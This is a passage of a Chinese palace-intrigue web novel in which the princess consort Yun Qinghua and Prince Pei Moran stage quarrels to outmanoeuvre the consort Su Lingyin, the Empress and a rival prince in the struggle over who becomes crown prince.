“蛮蛮!你怎能动手?”他惺惺作态地叹气,斥了一句。 云清婳怒目而视,“臣妾只是想为孩子讨回公道。” “对,是妾身该打!可妾身也要说一句,是王妃不慎摔下楼的,跟妾身没有一点关系!妾身根本不知道王妃怀孕。”苏灵音哭得梨花带雨,惹人心疼。 皇后看着苏灵音,比自己挨打了还心疼,“云清婳,难怪你咄咄逼人,你这是想借题发挥,逼死灵音啊!你别忘了,你的王妃之位是灵音让给你的!” “臣妾是皇上钦定的王妃,有什么让不让的?母后是在质疑圣上吗?”云清婳锋芒尽露,笑着反问。 皇后眼睛瞪大了一圈,眼睑下的细纹都被扯平,“好啊!好啊!墨染,你看看,这就是你的好王妃!她威胁起本宫来了!墨染,这样失德的女人你还要护着吗?” “母后,蛮蛮只是太委屈了,才出言不逊。”裴墨染长叹一声,故作纠结。 皇后的眼神锋利起来,她指着云清婳,“墨染,本宫跟她,你今日必须选一个!不然你就当没有本宫这个母后!” 所有宫人纷纷跪下,像是听到了大逆不道的话。 裴云澈皱起眉头。 母后为了苏家,真是连体面都不要了,居然说出这般不得体的话。 难怪父皇不喜母后,母后哪有母仪天下的样子? “母后……”裴墨染无奈地唤了一声。 云清婳看向裴墨染。 二人趁机交换了个眼神。 没错,今天的剧本便是——沉默无能的妈宝丈夫、自私自利的婆母、委屈泼辣的儿媳。 苏灵音一脸的势在必得。 自古以来,婆媳矛盾都是夫妻感情的最大的阻碍。 即使再恩爱,绝大多数男人都会选择站在母亲一边。 裴墨染会怎么选,还用说吗? “蛮蛮,你快跟母后道歉。”裴墨染不悦地命令。 云清婳颔首,“臣妾可以跟母后道歉,但臣妾不会跟苏侧妃道歉!苏侧妃不受到严惩,此事便没完。” “休想!你跌下亭台恰好被接住,说不定是你故意为之,就为了陷害灵音。”皇后命人给苏灵音的脸上药。 “既然如此,臣妾百口莫辩,臣妾告退。”云清婳像是心灰意冷,赌气般地转身就走。 “蛮蛮、蛮蛮……”裴墨染追了几步,就站住了,他长叹了一声。 皇后得意地抬起一边的眉毛。 裴墨染没走,这完全在她的意料之中。 这个儿子最孝顺,最好操纵! “墨染,你太娇惯她了,她都敢对本宫甩脸色了。后宫之中耳听为虚、眼见亦为虚的事情还少吗?没有证据,你怎么忍心动你表妹?”皇后露出脆弱、憔悴的表情。 苏灵音扑通一声跪下,噙着泪楚楚可怜地看他,“王爷,妾身真的没有推王妃,但只要能让您不厌恶妾身,妾身愿意受罚,因为妾身希望得到您的爱。” “唉……”裴墨染重重甩袖,看起来被逼急了,却无可奈何。 皇后的嘴角上勾,“这才是本宫的好儿子!灵音是什么样的人,你相处以后就晓得了。” 苏灵音松了口气。 云清婳这个疯婆子,自损一千,伤敌一百。 用性命跟子嗣陷害她又如何? 她流两滴泪,就什么事也没有了! 谁让她是皇后的侄女,而云清婳只是贱民呢? 裴云澈在心里暗骂裴墨染无能。 说要帮蛮蛮讨回公道,可顷刻间便转换了阵营。 他的目光盘绕着苏灵音的脖颈上,像一条毒蛇,恨不得勒死她。 就在这时,太监总管来了。 他甩了下拂尘,脸上似笑非笑,冷然的看着翊坤宫的众人,“传陛下口谕。” 第149章 皇上给蛮蛮撑腰? 所有人整整齐齐地跪下。 “臣妾接旨。” “儿臣接旨。” “肃王府侧妃苏氏,端午日行凶,谋害皇嗣,幸未铸成大错,念其皇后至亲身份,掌掴五十,交由肃王妃监刑!钦此!” “……”苏灵音瘫坐在地上,嘴张得快能容下一个鸡蛋。 皇后也唇瓣轻颤。 皇上这是在敲打她啊。 “儿臣接旨。”裴墨染的眼尾上翘,昭示着他的心情不错。 他找宫女、太监在监察御史面前聊了此事。 没想到监察御史这么快就参了苏家一本。 裴云澈嘴角的笑纹加深。 他方才找了几个亲信,向父皇参了苏家,父皇为了敲打苏家,自然会先拿他们的女儿开刀。 …… 玄音阁。 云清婳躺在贵妃榻上,悠悠地剥橘子吃。 “主子,苏灵音就这样一点事都没有?”飞霜凝眉。 云清婳的嘴角弯了弯,眼中是凌驾于众生之上的冷漠,“这就够了!皇后就算封锁消息,也堵不住悠悠众口。苏灵音已经被钉在耻辱柱上,今后她无论做什么,也跟正妃之位无缘了。” “一想到她以后还要在您面前蹦跶,奴婢就心烦。”飞霜攥紧了拳头。 “苏灵音可是裴墨染夺嫡的关键!我得把她利用到极致。”她的桃花眼眼尾上扬,清纯的脸上,颇带几分魅惑。 她承认苏灵音的确有两下子。 可是苏灵音生性自恋、傲慢,太过轻敌,这是她不可弥补的短板。 砰—— 正想着,门被打开。 裴墨染大步走了进来,他的嘴角不可察觉的上扬,“蛮蛮。” 云清婳瞬息间换了表情,垮着脸,背对着他。 “蛮蛮,你怎么了?”裴墨染不安地看向飞霜。 飞霜摇摇头,她察言观色立即退下。 裴墨染坐在榻边,轻晃云清婳单薄的肩膀,“为何不说话?” “哼!您方才帮着皇后,让我道歉。”她的声音带着哭腔。 他心急如焚,蛮横地将她身子翻过来,慌张道:“我们不是说好了逢场作戏吗?蛮蛮,你怎么恼了?” 云清婳掀起眼皮,红着眼看他,“可我实实在在受了委屈,苏灵音也真真切切平安无事。谁知道您是不是骗我的,其实就为了保护苏灵音。” “难怪你方才演的那么好,原来你真生气了!”裴墨染好气又好笑。 亏他方才一直暗叹她的演技。 他用略带薄茧的指腹为她揩去眼角的晶莹,心里暗爽,“蛮蛮,我待你如何,你不知道?你非要我把心挖出来不成?” “如今,真真假假,我已经分不清了!您对我说是演戏,或许您在苏灵音面前也是这样的说辞。”她的话酸溜溜的,可透着无助跟委屈。 “蛮蛮,你是我在这世上最爱的女人,我爱你疼你,可你不信任我,我也会生气。”他佯装生气。 “……” “你不信任我,我便走了。”他起身故意往外走了几步。 云清婳在心里嘁了一声。 狗男人还欲擒故纵。 这招对她可没用。 他走到门口,还没被叫住。 “你怎么不留我?”裴墨染自觉无趣,又转回来抱着她。 女人可以作,但不能一直作。 恰到好处的作叫情调,没有节制的作会让人厌烦。 云清婳顺着台阶下,将小脸埋在他的胸口,“您的城府深厚,我有些看不清您了,我害怕您也在算计我。” 裴墨染的心里像是堵着一口瘀血。 让他郁结压抑,想吐又吐不出来。 这该如何证明? “蛮蛮,你我之间何须算计?你爱我,我问你要什么你会不给?” 他揉着她的脑袋,“我怎会不希望处置苏灵音?我早早就派人在监察御史面前提了此事,父皇已经下令处置苏灵音了。” “当真?”她倒是有些意外,眼中神采奕奕。 裴墨染轻吻她的小脸,他就知道她听说此事会高兴,“自然是真的,父皇下令掌掴苏灵音,令你亲自监刑,也就是任你泄愤了。” 云清婳冷笑。 当年,为了助圣上登基,苏家付出了犬马功劳。 可皇上登基后,昔日的盟友便成了眼中钉,所以他不断削弱苏家的势力,为的就是大权在握。 皇上今日的旨意,表面上是在为她主持公道、敲打苏家,实则却是为了激起云家、苏家的矛盾。 臣子斗得越狠,帝王才更好制衡朝中势力。 皇上真是将权术玩到了巅峰。 “现在高兴了?”裴墨染挑起她的下巴。 她笑吟吟地颔首,“我可不想打她,手心疼。” “别碰她,当心她污了你。”他牵着她的小手,眸色暗淡下来,“蛮蛮,接下来你得泼辣一些。” 她噘着嘴,一脸为难,“夫君,可我不知道如何泼辣。” “学赵婉宁。”他脱口而出。 云清婳在他胳膊上拧了一把,阴阳怪气道:“您真是念旧!” 裴墨染又暗爽了。 蛮蛮吃醋了! 他的嘴角弯出了不明显的弧度,可还故意一本正经道:“蛮蛮,我在说正事呢,你又乱吃醋。” 她在心里翻白眼。 狗男人,装什么啊? …… 云清婳、裴墨染携手走进了庭院。 庭院中,苏灵音被万嬷嬷押着跪到了地上,她尽管心里恨绝了云清婳,可还是装出委屈、无助、楚楚可怜的模样。 “呜呜呜……王爷,妾身冤枉啊。”苏灵音的睫毛上还缀着晶莹的泪珠,眼皮透着粉,惹人怜惜。 裴墨染蹙了下眉,欲言又止。 云清婳给飞霜递了个眼神,“既然是皇上的口谕,千万不能怠慢了,一定要把每一巴掌都落实了。” “是。”飞霜笑着福身。 四下的婢女都咬着唇,极力克制住笑。 飞霜挑了个宽大有韧性的竹板,高高举起。 苏灵音的瞳孔骤然紧缩。 “不要啊!王爷,妾身真的没有推王妃……王妃是失足掉下去的……”她的眼神一派惊慌。 本来皇后说了要亲自过来钳制云清婳,免得云清婳恶意报复。 可她拒绝了。 她伤得越狠,裴墨染才会越动容啊。 毕竟裴墨染有一点对她上心了。 “用竹板会不会太过了?”裴墨染冷如冰珠的出声。 飞霜慌张地看向云清婳。 第150章 重新洞房花烛夜 云清婳沉下了脸,“王爷是心疼了吗?我方才坠楼,差一点一尸两命,可王爷却为杀人凶手担心。” “蛮蛮,毕竟没人确切地看到灵音推你,或许你真是失足掉下去的。你只是太害怕了,思虑不清,才误会了?”裴墨染哄道。 云清婳像是炸了毛的猫,她的声音陡然拔高:“王爷的意思是我说谎?我陷害她?” “本王不是这个意思,只是想劝你宽厚一些。”他的表情也冷了下来。 苏灵音看着二人争吵,心中在欢呼雀跃。 她赌对了。 裴墨染心里果然有她。 云清婳的眼眸蓄满了眼泪,脸上写满了失望、恼怒,“王爷觉得我不够宽厚,我百口莫辩!飞霜,给我狠狠的打!” 裴墨染不免心惊胆战起来。 看蛮蛮的表情,她不会又真生气了吧? “是。”飞霜举起竹板,狠狠往苏灵音嘴上甩。 “啊——”苏灵音痛叫。 没一会儿,苏灵音的嘴角就烂了,被打得鲜血淋漓。 她的脸上全是竹板甩下的红印子,嘴唇、脸蛋肿得老高。 “呜呜呜……”苏灵音凄凄地哭着,她疼得冷汗直冒,浑身抽搐。 今日的屈辱,来日她一定会千倍万倍讨回来! 云清婳,等着被做成人彘吧。 就在飞霜打够第五十下时,裴墨染低吼道:“够了!灵音都快晕过去了,她毕竟是表妹,你们别太过分!” “……”云清婳故作惶恐地低下头。 “王爷……”苏灵音含情脉脉地看着他。 但她的脸已经肿成猪头了,满脸是血,比女鬼还吓人。 她的嘴唇麻木没知觉,说话时,口水跟血混在一起往下淌。 画面既血腥又膈应,毫无美感。 裴墨染觉得恶心,移开眼,吩咐道:“快宣府医!将苏侧妃抬去清心阁。” “是!”几个婢女合力将她抬走。 苏灵音被抬走时,耳边都是云清婳跟裴墨染的争吵。 听到这里,她身心放松,终于晕了过去。 裴墨染试探性地伸出手,捏捏云清婳的手心,想要看看她是不是真生气了。 云清婳在他手心里挠了下。 他登时松了口气。 …… 清心阁。 苏灵音醒来后,脸肿得像是发面馒头,她的嘴角火辣辣地疼,喉头干涩得发痒。 巧慧立即端了杯茶水喂她,“主子,您终于醒了,云清婳一定会遭报应的!” “王爷呢?”她喝了几口水,声音嘶哑。 “您昏迷后,王爷在床榻边看了您好久,暗中赏赐您了好多药材,可刚刚又被云清婳叫走了。”巧慧愤愤不平地说。 苏灵音的弯眉舒展开,“这就好!他肯关心我,就说明对我动心了,只是他现在喜欢云清婳多一些罢了。” “主子,今日的仇不得不报啊。”巧慧攥紧拳头,气愤不已。 “女人怀孕后身材便会走样臃肿,裴墨染厌弃云清婳是早晚的事。与其跟一个大肚婆较劲,不如想办法趁机抓住裴墨染的心。”苏灵音口齿不清地说。 巧慧疑惑道:“可是怎么抓住王爷的心?” “很简单!我看得出来,云清婳根本不喜欢裴墨染。”或许是同性相吸,所以苏灵音无比笃定。 倘若云清婳喜欢裴墨染,怎舍得拿孩子的命来诬陷她? 云清婳跟她一样,另有所图。 她继续道:“当初云清婳不是替裴墨染挡了一刀吗?我也可以!” 谋得裴墨染真心的标准答案,云清婳已经给了,她照抄就行。 “巧慧,你去给……”苏灵音凑在巧慧耳边絮絮。 …… 因为云清婳有孕,一连一个月裴墨染都宿在其他妾室房中。 傍晚,云清婳沐浴后,坐在梳妆台前。 飞霜捏着梨木梳,细细给她梳理着青丝。 “主子,苏灵音劝王爷把沈沁解禁了,看来二人联手了。”飞霜吐出一口浊气。 她冷笑,“沈沁可是个白眼狼,两个人各怀鬼胎,有何可惧?” “这倒是!不过细作说,苏灵音在沈沁的饭菜里下了药。”飞霜觉得毛骨悚然。 云清婳的眼神一凛,“是什么药?” “不知道。”飞霜摇摇头。 她的嘴角勾起妖艳的弧度,“我可真期待。” 云清婳起身后,飞霜为她披上了朱红色的蜀锦外袍。 她不解,“给我穿这个干嘛?” 飞霜但笑不语,她扶着云清婳出门,门外一顶浮华的锦绣轿撵已经等候多时。 贴身太监掀开轿帘,“王妃,请!” 云清婳意识到什么,眼中释放出星星点点的光,她嗔怪:“你这个臭丫头,也不跟我说。” 飞霜吐吐舌头。 轿撵抬到了长信殿。 她被万嬷嬷扶进了寝殿。 殿中挂着红灯笼、红绸花,火红的喜烛上贴着烫金的双喜字。 裴墨染穿着红色的喜袍,站在桌前,温柔地看着她。 “王爷为了今日,准备好久了。”万嬷嬷笑得慈祥,低声道。 云清婳不由得在心里叹气。 狗男人真是不务正业! 裴云澈正在想方设法夺取东宫之位呢,可他却搞这些幺蛾子。 “蛮蛮。”他的眼中映照出她的脸庞,神情缱绻。 云清婳装作惊喜的模样,快步走近他。“夫君!” 裴墨染牵着她的手,眼底满是坚毅,“你之前总是遗憾我们的婚礼,所以今日我将它补给你。” “旁人有的,你都会有!你不必羡慕任何人。” 云清婳挤出几滴眼泪,又哭又笑,“您真坏,就是为了弄哭我。” 他连忙给她拭泪,慌张道:“看见你掉眼泪,我的心都疼了,别哭了!” “我高兴啊。”她娇憨地说。 裴墨染目光灼灼,无比真诚,“蛮蛮,你失忆后,我才知道,原来你受了这么多委屈。” “我总觉得我待你好,口口声声说心悦你,可却连你的喜好都不知道。” “我送的礼物,你没一个中意的,可你却为了我,假装喜欢。” 他的心隐隐作痛。 云清婳的眼泪越流越凶,“我喜欢的是夫君的心意,夫君的心意抵万金。” 守在门外的贴身太监、万嬷嬷下意识竖起了大拇指。 听听! 难怪王妃能独得王爷青睐。 王妃多会说话啊,这就是标准答案! 第151章 太子之位,花落谁家 他拥她入怀,“蛮蛮,等我,将来我会把世间最好的东西,捧到你面前。” 他在心中承诺,将来一定要封蛮蛮当皇后。 云清婳嫌弃地在心里翻了个白眼。 狗男人又在画大饼! “你为何不说话?是不是又在心里说我在画大饼?”他蹙眉,双目灼热地看她。 云清婳突然心虚,她错开他的眼神,“……” 怎么突然跟狗男人心有灵犀了? “我就知道!”他捏了下她的鼻子,并不恼。 他将酒杯递给她,“你怀孕了,不能饮酒,里面是水。” 二人喝了合卺“酒”,裴墨染抱着她上榻。 云清婳怀有身孕,裴墨染并未有什么旖旎的想法。 他搂抱着她,脸埋在她的颈窝,静静嗅着她颈侧的香气,内心竟前所未有的平静。 “蛮蛮,有你在身边,我很安心。”他道。 她抚摸着他的发顶,“有夫君在,蛮蛮也很安心。” 夜半,云清婳被摇醒了。 “蛮蛮,西宁渠垮了,父皇派我跟贤王、睿王去赈灾。”裴墨染道。 云清婳瞬间清醒。 西宁渠在原著里面,正是裴墨染夺嫡的转折点啊。 裴墨染本就深得民心,再加上他常年在民间,十分了解地形、水利,他拟画水渠图纸、赈灾有方,又有诸葛贤的协助,只三个月便取得了巨大的成效。 一时之间,他名声四起,全天下的百姓都对他称赞有加。 可是,为何西宁渠提前一年就垮了? 这绝对是人为的! 她担忧地望向裴墨染,“夫君,水患太危险了,您要当心。” “嗯。”他轻吻她的额头,“我此去不知何时才能回来,你要照顾好自己。” 他担心,不能陪着她生产了。 云清婳的心像是被藤蔓缠绕住,有些透不过气。 裴墨染下榻后,行云流水般地穿上银色铠甲。 他正欲走,云清婳也跟着下榻了。 “此事不对。”她很想说西宁渠是被人为毁坏的,但又不能说出口。 她想要当皇后,不想当寡妇! “你想说什么直说便是。”裴墨染轻抬下巴,示意她接着说。 云清婳道:“西宁渠建国时便修筑好,几百年无碍,怎会毫无预兆被冲垮?陛下又为何要派你们三人去?” 这些,亦是裴墨染心中盘旋的疑问。 他的面目森冷,“蛮蛮,消息已经从御书房泄出来了,父皇拿出了立储诏书,谁能处理好水患,谁便可能成为储君。” “不过,父皇心中储君的人选已经定了,我跟睿王恐怕都是裴云澈的陪衬。” 毕竟他跟睿王是武将,只有裴云澈看上去精通水利。 裴墨染倏而想笑。 这场必败的考试,他前去的意义是什么? “我相信夫君,夫君一定能够枯木逢春,柳暗花明。”她衷心祝福。 裴墨染颔首,脸上却不见半点喜色。 这场夺嫡之争,恐怕要落幕了。 …… 裴墨染离开后,云清婳立即派人搜集西宁郡的民情、地形、水利图之类的。 她派手下的幕僚研究后,绘制图纸,暗中给裴墨染送去。 另一边,她又给裴云澈写了好几封挂念的书信。 至于苏灵音,竟然出奇的安静,大门不出二门不迈。 一日,云清婳跟魏娴讨论捐款赈灾事宜。 “蛮蛮,我的人说,昨晚苏灵音打扮成丫鬟的模样,悄悄从后门走了。”魏娴一头雾水。 云清婳抚着隆起的小腹,冷笑了声,“如此,甚好。” 魏娴露出费解的表情,“你知道她想做什么?莫不是王爷出事了?她想避难?” “她是想陪王爷同甘共苦。我的人送信来了,她今日一早便女扮男装出城了。”云清婳的语气轻松。 “苏灵音真是有两下子!若是王爷被苏灵音感动,动了真情怎么办?”魏娴的太阳穴突突直跳,感觉脑袋发昏。 她拨弄着算盘,漫不经心道:“苏灵音的确够让人感动,可裴墨染向来不喜欢女人耽误政事,她踩到雷区了。” 魏娴扑哧笑出了声,可又长长叹息了一声,“男人图新鲜,就怕王爷变心,蛮蛮,你也送些信过去吧。” 飞霜也道:“是啊!别被苏灵音比下去。” “我偏不送。”云清婳的神色悠然自在,毫不在意。 …… 日子如流水般滑过。 转眼间,三个月过去了。 裴墨染治水有功的消息传回京。 清晨,治水的军队停驻肃王府门外。 云清婳带领众人迎接。 她远远就看见了骑在夜照马背上的裴云澈,他面沉如死水,周身环绕着寒意与幽怨。 而睿王也是无精打采。 裴墨染虽然面无波澜,可少年的风华正茂、意气风发根本藏不住。 他隔很远就看见了云清婳,二人对视的瞬间,他的眸子都亮了。 满腔柔情,浓烈热切,像是恨不得飞奔到她身边。 “参见王爷。”众人下跪。 云清婳的身子太重,所以没跪。 裴墨染下马后,他径自走到后面的马车前,递出了手。 苏灵音熟稔地将手放在裴墨染的手心,害羞道:“王爷,好多人看着呢。” “无妨。”裴墨染将她扶下马车。 府中的夫人、妾室看到苏灵音的刹那,眼眸瞪得硕大,都很惊讶她出现在了裴墨染的军队里。 几个妾室幸灾乐祸地看向云清婳。 “之前王爷对王妃也是这么体贴,可惜,现在换人咯。” “苏侧妃真贴心,为了王爷竟悄悄去了西宁郡。” “谁让王妃不肯吃苦呢?苏侧妃一片赤诚之心,何人不感动?” 苏灵音拉着裴墨染的手,娇滴滴地说:“王爷,您跟王妃解释一下吧?妾身怕王妃不高兴。” 裴墨染头皮发麻。 而随行的副将、诸葛贤都心惊肉跳,感觉到气氛不对。 “呵。”云清婳冷笑了一声,失望地看着裴墨染。 裴墨染微微一怔,他淡定地解释:“王妃,小丫头不懂规矩,千辛万苦追去了西宁郡,本王总不能把她遣返。” “王爷辛苦,苏侧妃辛苦。”云清婳阴阳怪气。 苏灵音吸吸鼻子,眼泪水在眼眶打转,“王爷,妾身不该去找您的。可是妾身听说水患泛滥,害怕您有不测,才想见您。” 裴墨染心累地看了云清婳一眼,低声道:“灵音,别哭了,你没有错。” 气氛登时变得微妙。 苏灵音挑衅地看着云清婳,眼神得意。 “苏侧妃擅自出府,理应受罚。”云清婳板着脸,不依不饶地说。 “灵音担心本王出事,千里迢迢追随本王,路上险些被流民所伤,她何错之有?”裴墨染牵着苏灵音的手,快步进府。 这是当众下云清婳的脸面。 其余人大气不敢出,也跟着进府。 第152章 您被腌入味了 睿王在后面嗤笑,他勒着缰绳,“本王先回府了。” 裴云澈下了马,他走向云清婳,“蛮蛮。” “殿下,这里不是说话的地方,请回吧。”云清婳低声道。 “你自从恢复记忆后,便刻意躲着我。”他的语气有些委屈。 云清婳抚着隆起的肚子,“我怀了裴墨染的孩子,实在无颜面对您。” 裴云澈松了口气,他还以为蛮蛮对裴墨染有了感情。 “我不在意这些。”裴云澈的眼中划过阴鸷。 反正到时候,裴墨染以及裴墨染的子嗣,他都不会留下。 云清婳感动的看着他,“裴郎不嫌弃我就好。” “傻,我怎忍心嫌弃你?”裴云澈看她的眼神中满是心疼与痛惜。 …… 回府后,云清婳扶着腰,做了几组深呼吸。 还有场戏要演。 一回玄音阁,她果然看见了裴墨染、苏灵音。 “王妃,这是妾身从西宁郡特意为您挑的簪花,王爷说您喜欢紫色。”苏灵音双手奉上一对精美的浅紫色绢花。 云清婳似乎很受伤,她冷冷的看向裴墨染,“王爷跟她说了我的私事?” 裴墨染正欲启唇,苏灵音便道:“王妃莫要怪王爷,是妾身问您的喜好,王爷才说的。” 言下之意便是,云清婳的私事,裴墨染统统告诉了她。 “多谢你的礼物,我乏了。”云清婳极力克制着脾气,她摆摆手。 苏灵音红着眼看着裴墨染,“妾身告退。” “嗯。”裴墨染颔首。 苏灵音才走到门口,便听见寝殿里传来争吵。 “蛮蛮,灵音也是一片好心,你故意甩脸色,哪有丝毫王妃的气度?” “我做什么了?王爷居然这样指摘我!” “从灵音一回来,你就冷眼相待。你别针对她了,她就是小孩心性,没有坏心。” “我何时针对她了?是不是我连呼吸都是错的?” “这一个月,你连一封信都不曾寄给过本王,可灵音日日侍奉。如今本王舟车劳顿,你能不能贴心些,不要闹了?” 听到这里,苏灵音忍不住笑了。 人跟人之间是怕对比的。 如今,裴墨染对云清婳失望,她得乘胜追击。 …… 等苏灵音走远,寝殿的争吵声陡然消失。 云清婳笑问:“我方才演得不错吧?” 裴墨染捧着云清婳的脸,啃噬着她的唇瓣,带着一个月的思念,掠夺她的呼吸。 “唔……”云清婳护着小腹。 他的吻强势且莽撞,把她的唇都快咬破了。 一吻毕,云清婳气喘吁吁。 “当心孩子啊。”她瞪他。 “裴云澈方才跟你说什么了?我都看见了。”裴墨染酸溜溜的质问。 云清婳在他胳膊上拧了一把,“您那样气我,贤王自然是安慰我、关怀我。” “无耻下流的小人!”裴墨染咬牙切齿。 裴云澈怎么敢在肃王府门前撬他墙角的? 她推他去浴室,“您臭死了,快去洗洗。” “蛮蛮,你嫌弃我了?”他浓眉抬起,有些不悦。 云清婳正色道:“那是自然!您跟苏灵音朝夕相处了三个月,都被她腌入味了。” 裴墨染也觉得膈应,无法反驳,立即去洗漱沐浴。 他在浴室折腾了一炷香的功夫才出来。 裴墨染蹲在云清婳身前,将耳朵覆在她的肚皮上,他惊奇的说:“蛮蛮,孩子在踢我。” 她轻笑,“是啊,上个月就开始动了。” 他初为人父,既新奇又小心翼翼,他突然不敢碰云清婳了。 生怕一个不小心伤着他们,他只敢在一边看着。 “蛮蛮,你想不想我?” “想。”她不假思索。 听到了满意的答案,他的嘴角上扬,“那我给你写了那么多信,你为何不回?” 因为男人就是贱,越是得不到,就越是想要啊。 “我怕耽误您做正事,也怕信笺被苏灵音看见。”她早就想好了理由。 “想起那个女人,我就恶心。”裴墨染的眼中燃烧着怒火。 贴身太监忍不住抱怨:“百姓流离失所,哀鸿遍野。苏侧妃却只会在寺庙里磕头诵经,明明施粥的人手都不够。” “他们都站得太高了,看不到民生疾苦,善心如羽毛,虚浮在空中,落不到实处。”云清婳叹息。 裴墨染颔首,蛮蛮的话,也是他的心声。 …… 翌日,皇上设了庆功宴嘉奖裴墨染。 裴墨染准备带着云清婳、苏灵音一同入宫。 “王爷,妾身还是不去了吧?这是王妃才能出席的,妾身身份不够。”苏灵音垂眸。 他握着她的手,“你亲自去了西宁郡,与本王一起救济灾民,你若是不够资格,就没人够资格了。” “是。”她娇羞的抿唇笑了。 云清婳黯然神伤的垂下脸。 这让苏灵音得意不已。 这三个月的苦没白吃! 她在裴墨染心里,一定是一个菩萨心肠,爱他入骨的女子。 忽的,沈沁跟疯了一般,猛然从走廊拐角现身,朝他们冲了过来。 “去死啊!去死!” “都给我去死!” “你们都想害我!” 她的双目充血,手里拿着一把剪刀,直勾勾奔来。 裴墨染跟云清婳对视。 裴墨染:要不要传侍卫? 云清婳:不用了吧? 裴墨染:好。 “去死!”沈沁攥着剪刀,就要朝裴墨染的胸口刺去。 裴墨染戏谑的挑眉,完全洞悉了苏灵音的想法。 就在千钧一发之际,苏灵音挡在他面前,“不要伤害王爷!” 剪刀刺进了苏灵音的胸口。 “啊……”苏灵音发出痛苦的呻吟。 “来人把她拿下!”云清婳呵斥。 侍卫冲了出来,将沈沁拿下,她的脸死死按在地上。 “灵音!灵音!快传府医!”裴墨染将她抱在怀里,语气很是担心。 “王爷,您没事就好……”苏灵音有气无力的说着,她捂着胸口,胸口往外涌着鲜血。 他抱着她往清心阁赶,痛惜道:“灵音,你怎么这么傻?” “王爷,宫宴不能耽搁了。”云清婳提醒。 裴墨染看了她一眼,斥道:“都什么时候了,你还想着宫宴!” 说完,他大步流星的走了。 苏灵音侧过头,讥诮的睨着云清婳。 裴墨染这次选择的,又是我! 云清婳,你又输了。 第153章 皇后、贤王霸凌裴墨染 回到清心阁。 裴墨染将苏灵音放到榻上,她虚弱道:“妾身没事,您快走吧。” “本王怎么忍心走?”他握住她的手,“你怎么这么傻?连命都不要了?” “只要您没事,妾身哪怕是死也值得了。”苏灵音一字一顿,无比真挚。 裴墨染忍住对她翻白眼的冲动。 “王爷,妾身怕王妃不高兴,您快去找王妃吧。”她落落大方的说。 裴墨染长叹一声,“别提她了,方才连你都知道护着本王,可她却无动于衷。” 苏灵音的心中闪过快感。 这正是她要的效果! “王妃毕竟怀有身孕,也不能不顾孩子啊。”她宽慰着。 她看似在为云清婳说话,实则坐实了云清婳的贪生怕死。 …… 府医给苏灵音诊断完毕,裴墨染便走了。 云清婳在马车上等候良久。 看到裴墨染,她促狭道:“夫君感动吗?” “她居然给沈沁下了疯药,让她刺杀我,简直该死!”裴墨染低吼,眼神倾泻出刺骨的寒意。 这就该死? 那她岂不是应该千刀万剐? 云清婳轻抚他的胸口,“别气了,夫君这次立了大功,皇上定会对您刮目相看。” 裴墨染的脸色稍有好转,他牵着她的手,“多谢蛮蛮的吉言,我这次真的柳暗花明了。” 她笑吟吟的与他对望。 裴墨染必须当太子,因为她想当太子妃了。 …… 裴墨染一进皇宫,平日里疏远他的官员纷纷凑上前道贺,殷勤得不像话。 平日里喜欢嘲讽他的皇子、公主,也一口一个皇兄的唤着。 他被众星捧月,身边的人全都热络起来。 裴墨染平静处之,态度谦和。 庆功宴很快就开始了。 可皇上、皇后明显不悦,皮笑肉不笑。 皇上嘉赏了裴墨染一番,赏赐了些宝物便没了下文。 这让群臣摸不着头脑。 据说皇上在三个月前,已经拿出了立储诏书,传言谁能妥善解决西宁渠的灾情,就立谁为太子。 可今日为何不提? 宴席到了尾声,皇后、虞贵妃的脸色有了好转。 而裴墨染却心中阴雨连绵,潮湿阴冷。 云清婳生怕裴墨染显露出不满,桌下,她紧握住裴墨染的手。 裴云澈举起酒杯,饮了一口酒,他看着对面的裴墨染,淡然一笑,可是眼神却夹杂着嘲讽。 宴席结束后,几个皇子凑在一起嗤笑:“亏我还真以为他能被立储。” “可能吗?父皇那么讨厌他!” “倘若真对他寄予厚望,当初就不会把他送到边关去卖命。” 裴墨染的双手紧握成拳,远远的盯着他们,浑身萦绕着戾气。 云清婳的手覆在他的手背上,“夫君,皇后娘娘召您去翊坤宫。” “嗯。”他沉闷的应了一声。 …… 翊坤宫。 皇后坐在上首,她眉眼冷厉,威严庄重。 砰—— 一盏茶被砸到裴墨染的脚边。 “蠢货!你究竟干了什么糊涂事?你疯了吗?”皇后尖叫。 滚烫的茶汤溅了裴墨染一身,茶叶沾在他的外袍上,浸透布料,把他烫的倒吸了口凉气。 “啊……”云清婳惊呼,吓得后退一步。 裴云澈不动声色的扶住她。 “儿臣又做错了什么?母后为何这么生气?”裴墨染的神情费解。 皇后双臂颤抖,眼中扬起了一层红烟,“你还有脸问?你知不知道今日本该是云澈的庆功宴,也该是云澈的立储宴?都被你毁了!” 他捏着拳头,“这关儿臣什么事?” “你在西宁郡想到了治水之法,测绘出了水渠图纸,为何不交给云澈?你莫不是想独吞功劳?踩在云澈的头上,往上爬?”皇后目眦欲裂的质问。 裴墨染冷声道:“在西宁郡,本王多次跟皇兄讨论测绘图纸的事,可皇兄避而不谈!更何况,西宁渠的图纸是儿臣跟灵音闲暇之时所绘,误打误撞罢了。” “母后若是不信,可以问灵音,当初就算儿臣把图纸给皇兄,皇兄也不一定会用。” “灵音?”皇后的像是吞了一只苍蝇,脸色难看至极。 她不能接受,裴云澈的立储大业是被自己娘家的侄女毁了。 裴云澈走上前,轻轻拂去裴墨染肩膀上的灰,笑着警告道:“墨染,以后做事长点眼,不要挡道啊。” “……”裴墨染的眼神晦暗,极力压抑着内心的狂躁。 云清婳的嘴角抽了抽。 这对母子对裴墨染是明晃晃的霸凌啊! 真是过分! “听见了吗?说话。”最后两个字,裴云澈一字一顿,完全是上位者的口吻。 裴墨染的眼里布满红血丝,除了心寒便是愤恨。 十年前,本该是裴云澈上战场,可他替裴云澈去了,他们母子可有丝毫感激? “你在威胁本王?”他的眼神一厉,冷声反问。 裴云澈的脸上写满了讥讽,“本王是在教你做人。” 云清婳见势不对,她立即挡在裴墨染身前,她柔弱的出声:“殿下,王爷下次不会了。” “……”裴云澈怕把她吓到,只好噤声。 裴墨染的心漏跳了一拍。 蛮蛮这么羸弱,居然挺身而出保护他。 皇后又换上平日里得体慈祥的面孔,“墨染,你日后做事要三思!只有你皇兄当了储君,你今后的日子才会好过!母后养育你,不是为了让你恩将仇报的。” “是。”裴墨染哑声道。 皇后颔首,她又道:“你们兄弟俩都是母后的心头肉,万不可再像方才那样发生口角了。” 裴云澈拱手道:“让母后担心了。” “儿臣告退。”裴墨染冷冷的撂下一句话,拉着云清婳转身就走。 皇后顷刻换上了嫌弃的表情,“本宫当初为何没有掐死他?居然让这祸害毁了你的立储之事!” 